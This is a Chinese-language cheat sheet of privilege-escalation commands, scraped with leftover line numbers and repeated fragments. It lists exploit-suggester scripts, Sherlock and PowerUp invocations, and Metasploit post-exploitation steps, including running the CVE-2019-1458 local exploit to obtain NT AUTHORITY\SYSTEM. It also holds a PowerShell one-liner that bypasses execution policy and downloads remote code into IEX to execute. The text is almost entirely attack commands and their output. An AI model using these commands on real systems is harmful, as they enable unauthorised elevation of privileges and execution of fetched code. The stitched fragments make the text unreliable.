提权扫描工具一览（附下载地址）

1

./windows-exploit-suggester.py

1

./linux-exploit-suggester.sh

1
2

Import-Module Sherlock.ps1
Find-AllVulns

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

# 查询补丁
meterpreter> run post/windows/gather/enum_patches 
[+] KB2999226 installed on 11/25/2020
[+] KB976902 installed on 11/21/2010

# 查询Exp
msf> use post/multi/recon/local_exploit_suggester 
msf> set LHOST <攻击机IP>
msf> set SESSION <session_id>
msf> run

# 利用示例
msf> use exploit/windows/local/cve_2019_1458_wizardopium 
msf> set SESSION <session_id>
msf> run
meterpreter> getuid
Server username: NT AUTHORITYSYSTEM

1
2

powershell.exe -exec bypass -Command "& {Import-Module .PowerUp.ps1; Invoke-AllChecks}"
powershell.exe -nop -exec bypass -c "IEX (New-object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1');Invoke-AllChecks"

./windows-exploit-suggester.py
0

./windows-exploit-suggester.py
1